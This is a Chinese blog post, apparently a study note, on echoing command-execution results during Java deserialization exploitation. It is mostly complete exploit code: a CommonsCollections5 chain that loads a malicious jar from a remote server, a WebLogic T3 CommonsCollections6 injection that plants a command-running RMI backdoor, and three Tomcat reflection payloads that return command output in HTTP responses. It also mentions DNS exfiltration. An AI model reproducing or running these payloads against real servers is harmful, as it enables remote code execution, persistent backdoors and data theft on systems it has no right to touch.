Java反序列化回显

在Java反序列化漏洞利用中,结果回显是一个需要解决的问题,这里记录学习到的一些回显方法。

URLClossLoader加载远程类回显

编写恶意类,在构造方法中执行命令并把命令执行结果注入到异常消息中带回。

import java.io.*;
import java.nio.charset.Charset;

public class UrlClassLoaderEcho {
    public UrlClassLoaderEcho(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;

        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }

        throw new Exception(buffer.toString());
    }
}

把恶意类打包为jar包,注意打包时用的java版本不能和目标的版本差太多

javac UrlClassLoaderEcho.java
jar -cvf UrlClassLoaderEcho.jar UrlClassLoaderEcho.class

把恶意jar包放到vps上,保证能访问到vps上的jar包

python3 -m http.server 80

CommonsCollections05 反序列化进行回显

package com.Jasetol.payloads;

import com.Jasetol.utils.ParseArgs;
import com.Jasetol.utils.Reflect;
import com.Jasetol.utils.SerWithUnSer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;

public class echoForUrlClassLoader {
    public static Object getObject() throws Exception{

        // 构造 Transformer[] 数组
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(URLClassLoader.class),
                new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{URL[].class}}),
                new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:80/UrlClassLoaderEcho.jar")}}}),
                new InvokerTransformer("loadClass",new Class[]{String.class},new Object[]{"UrlClassLoaderEcho"}),
                new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{String.class}}),
                new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new String[]{"ipconfig"}}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        // 反射对字段进行赋值,防止在构造 payload 的时候触发 Gadget
        Reflect.reflectSetField(tiedMapEntry,"map",lazyMap);
        Reflect.reflectSetField(chainedTransformer,"iTransformers",transformer);
        Reflect.reflectSetField(badAttributeValueExpException,"val",tiedMapEntry);
        return badAttributeValueExpException;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) getObject();
        byte[] bytes = SerWithUnSer.serialize(badAttributeValueExpException);
        SerWithUnSer.unSerialize(bytes);
    }
}

UrlClassLoader加载远程类进行回显需要目标出网,这是一个限制。

RMI绑定实例回显

通过以下两行代码可以在WebLogic上绑定一个键为echo的RMI实例。

InitialContext initialContext = new InitialContext();
initialContext.rebind("echo",new RMIForecho());

绑定对象为RMIForecho自定义类,这个自定义类需要实现Remote或其子类接口,且实现的接口中需要返回值为 String的方法,因为要在这个方法中执行命令,并把执行结果以字符串返回,这时就需要方法返回值为String,ClusterMasterRemote接口就符合条件,其getServerLocation方法返回值就为String。

public String getServerLocation(String s) throws RemoteException {}

编写实现ClusterMasterRemote接口的恶意类,并在该类的静态代码中绑定一个RMI实例。

package com.Jasetol.payloads.weblogic;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.InitialContext;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.rmi.RemoteException;

public class RMIForecho extends AbstractTranslet implements ClusterMasterRemote {

    static {
        try {
            InitialContext initialContext = new InitialContext();
            initialContext.rebind("echo",new RMIForecho());
        }catch (Exception e){}
    }

    @Override
    public String getServerLocation(String s) throws RemoteException {
        try{
            String osName = System.getProperty("os.name");
            String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",s} : new String[]{"/bin/bash","-c",s};
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] bytes = new byte[1024];
            int len = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((len = inputStream.read(bytes)) != -1){
                byteArrayOutputStream.write(bytes,0,len);
            }
            return new String(byteArrayOutputStream.toByteArray());
        }catch (Exception e){}
        return null;
    }

    @Override
    public void setServerLocation(String s, String s1) throws RemoteException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

通过 CommonsCollections06 注入恶意字节码

package com.Jasetol.payloads.weblogic;

import com.Jasetol.utils.ClassFiles;
import com.Jasetol.utils.ParseArgs;
import com.Jasetol.utils.Reflect;
import com.Jasetol.utils.SerWithUnSer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.utils.classloaders.ClasspathClassLoader;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.net.URL;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
/*
* CommonsCollection06
* */
public class echoForWebLogic {

    private static String host = "192.168.134.133";
    private static String port = "7001";
    private static String className = "com.Jasetol.payloads.weblogic.RMIForecho";
    private static byte[] bytes = new byte[]{};

    public static void exploit() throws Exception{
        String url = "t3://" + host + ":" + port;
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory");
        env.put(Context.PROVIDER_URL,url);
        env.put("weblogic.jndi.requestTimeout",15000L);
        InitialContext initialContext = new InitialContext(env);
        ClusterMasterRemote remote = (ClusterMasterRemote) initialContext.lookup("echo");
        String result = remote.getServerLocation("ls");
        System.out.println(result);
    }

    public static void injectRMI() throws Exception{
        // 构造 Transformer[] 数组
        bytes = ClassFiles.classAsBytes(RMIForecho.class);
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(ClasspathClassLoader.class),
                new InvokerTransformer("getDeclaredConstructor",new Class[]{Class[].class},new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance",new Class[]{Object[].class},new Object[]{new Object[0]}),
                new InvokerTransformer("defineCodeGenClass",new Class[]{String.class,byte[].class, URL.class},new Object[]{className,bytes,null}),
                new ConstantTransformer(new HashSet())
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"ky0116");
        // 反射对字段进行赋值,防止在构造 payload 的时候触发 Gadget
        Reflect.reflectSetField(tiedMapEntry,"map",lazyMap);
        Reflect.reflectSetField(chainedTransformer,"iTransformers",transformer);

        byte[] serialize = SerWithUnSer.serializeObject(hashMap);
        T3ProtocolOperation.send(host, Integer.parseInt(port),serialize);
    }


    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        injectRMI();
        exploit();
    }
}

注入成功之后正常获取绑定的 RMI 实例,然后调用实例的getServerLocation方法并执行命令即可。

Tomcat 中间件回显

对于Tomcat中间件回显,主要是找到一条获取Request/Response的反射链,把命令执行的结果用Response带出即可。

通过 AbstractProtocol$ConnectionHandler 获取 Response

AbstractProtocol$ConnectionHandler内部类的global属性,是一个RequestGroupInfo类,RequestGroupInfo类的processors属性是一个存储着RequestInfo类的ListRequestInforeq属性就是一个org.apache.coyote.Request类,org.apache.coyote.Request需要通过getNote方法转换为org.apache.catalina.connector.Request类。AbstractProtocol$ConnectionHandler内部类也需要通过反射一步步获取,在不同版本的Tomcat下获取此内部类的方法略有不同。

Tomcat全版本获取AbstractProtocol$ConnectionHandler并获取Request/Response

package com.Jasetol.payloads;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.coyote.RequestInfo;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;

public class echoForTomcat01 extends AbstractTranslet {
    static {
        try {
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
            threadsField.setAccessible(true);
            Thread[] threads = (Thread[]) threadsField.get(threadGroup);
            for (int i = 0 ; i < threads.length ; i++){
                Thread thread = threads[i];
                if (thread != null){
                    String threadName = thread.getName();
                    if (!threadName.contains("exec") && threadName.contains("http")){
                        Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
                        targetField.setAccessible(true);
                        Object nioEndpoint$Poller = targetField.get(thread);
                        Field this$0 = nioEndpoint$Poller.getClass().getDeclaredField("this$0");
                        this$0.setAccessible(true);
                        Object nioEndpoint = this$0.get(nioEndpoint$Poller);
                        Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
                        for (Class<?> aClass : AbstractProtocol_list) {
                            if (aClass.getName().length()==52){
                                java.lang.reflect.Method getHandlerMethod = org.apache.tomcat.util.net.NioEndpoint.class.getMethod("getHandler",null);
                                getHandlerMethod.setAccessible(true);
                                Field globalField = aClass.getDeclaredField("global");
                                globalField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(nioEndpoint, null));
                                Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                                processors.setAccessible(true);
                                java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
                                Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                                req1.setAccessible(true);
                                for (RequestInfo requestInfo : RequestInfo_list) {
                                    org.apache.coyote.Request request1 = (org.apache.coyote.Request )req1.get(requestInfo);
                                    org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
                                    org.apache.catalina.connector.Response response2 = request2.getResponse();
                                    Process process = Runtime.getRuntime().exec("ipconfig");
                                    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                                    StringBuffer stringBuffer = new StringBuffer();
                                    String lineData;
                                    while ((lineData = bufferedReader.readLine()) != null){
                                        stringBuffer.append(lineData + '\n');
                                    }

                                    response2.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
                                    response2.getOutputStream().flush();
                                    response2.getOutputStream().close();
                                }
                            }
                        }
                    }
                }
            }
        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Tomcat7以上获取AbstractProtocol$ConnectionHandler并获取Request/Response

package com.Jasetol.payloads;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.List;

public class echoForTomcat02 extends AbstractTranslet {
    static {
        try {
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            Field context01 = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context01.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context01.get(standardContext);
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            StandardService standardService = (StandardService) service.get(applicationContext);
            Field field01 = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            field01.setAccessible(true);
            Connector[] connectors = (Connector[]) field01.get(standardService);
            Field field02 = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            field02.setAccessible(true);
            ProtocolHandler protocolHandler = (ProtocolHandler) field02.get(connectors[0]);
            Field handler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
            handler.setAccessible(true);
            Class[] classes = AbstractProtocol.class.getDeclaredClasses();
            for (int i = 0 ; i < classes.length ; i++){
                if (classes[i].getName().length() == 52){
                    Field global = classes[i].getDeclaredField("global");
                    global.setAccessible(true);
                    RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(handler.get(protocolHandler));
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    List<RequestInfo> list = (List<RequestInfo>) processors.get(requestGroupInfo);
                    for (RequestInfo requestInfo : list) {
                        Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                        req1.setAccessible(true);
                        org.apache.coyote.Request request = (org.apache.coyote.Request) req1.get(requestInfo);
                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
                        Response response = request1.getResponse();
                        Process process = Runtime.getRuntime().exec("ipconfig");
                        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                        StringBuffer stringBuffer = new StringBuffer();
                        String lineData;
                        while ((lineData = bufferedReader.readLine()) != null){
                            stringBuffer.append(lineData + '\n');
                        }

                        response.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
                        response.getOutputStream().flush();
                        response.getOutputStream().close();
                    }
                }
            }
        }catch (Exception e){}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

通过 lastServicedResponse 获取回显

ApplicationFilterChainlastServicedResponse属性是存储着ServletResponse对象的ThreadLocal,获取到lastServicedResponse属性就可以获取到ServletResponse

Tomcat启动时判断ApplicationDispatcher.WRAP_SAME_OBJECT的值,如果为true则在ApplicationFilterChain#internalDoFilter方法上对lastServicedResponse赋值一个ServletResponse进去。

Java反序列化回显_第1张图片

通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT属性值,这样就可以通过lastServicedResponse属性获取ServletResponse

package com.Jasetol.payloads;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;

/*
 * Shiro 框架无法注入
 * */
public class echoForTomcat03 extends AbstractTranslet {

    static {
        try{
            Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
            wrap_same_object.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            modifiers.setInt(wrap_same_object,wrap_same_object.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest,lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse,lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            Boolean wrap = wrap_same_object.getBoolean(null);
            ThreadLocal<ServletRequest> lastRequest = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
            ThreadLocal<ServletResponse> lastResponse = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
            wrap_same_object.setBoolean(null,true);
            lastServicedRequest.set(null,new ThreadLocal());
            lastServicedResponse.set(null,new ThreadLocal());
            ServletResponse response = (ServletResponse) lastResponse.get();
            ServletRequest request = (ServletRequest) lastRequest.get();
            Process process = Runtime.getRuntime().exec("whoami");
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuffer stringBuffer = new StringBuffer();
            String lineData;
            while ((lineData = bufferedReader.readLine()) != null){
                stringBuffer.append(lineData + '\n');
            }

            response.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
            response.getOutputStream().flush();
            response.getOutputStream().close();
        }catch (Exception e){}
    }


    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

在Shiro反序列化中这个回显无法利用,Shiro中lastServicedResponse属性的设置是在漏洞触发点之后的,在漏洞触发时通过这条回显链获取不到ServletResponse

把这些回显链通过注入恶意TemplatesImpl对象的方式进行利用。

其它中间件回显

针对其它中间件回显的方法也是一样的,寻找到Response存储在哪个全局变量中,通过反射一步步获取到这个全局变量,就可以把命令执行结果通过Response带出来。

寻找存储Response的全局变量可以通过调试阅读源码来寻找,可以半自动化寻找存储Response的全局变量(参考后面文章。

DNS

通过DNS外带命令执行结果,局限是需要目标出网

参考文章

https://www.cnblogs.com/nice0e3/p/14891711.html
https://www.cnblogs.com/nice0e3/p/14897670.html
https://www.cnblogs.com/nice0e3/p/14897670.html
https://github.com/c0ny1/java-object-searcher
https://www.cnblogs.com/nice0e3/p/14945707.html
代码地址

你可能感兴趣的:(java安全,java,开发语言,后端)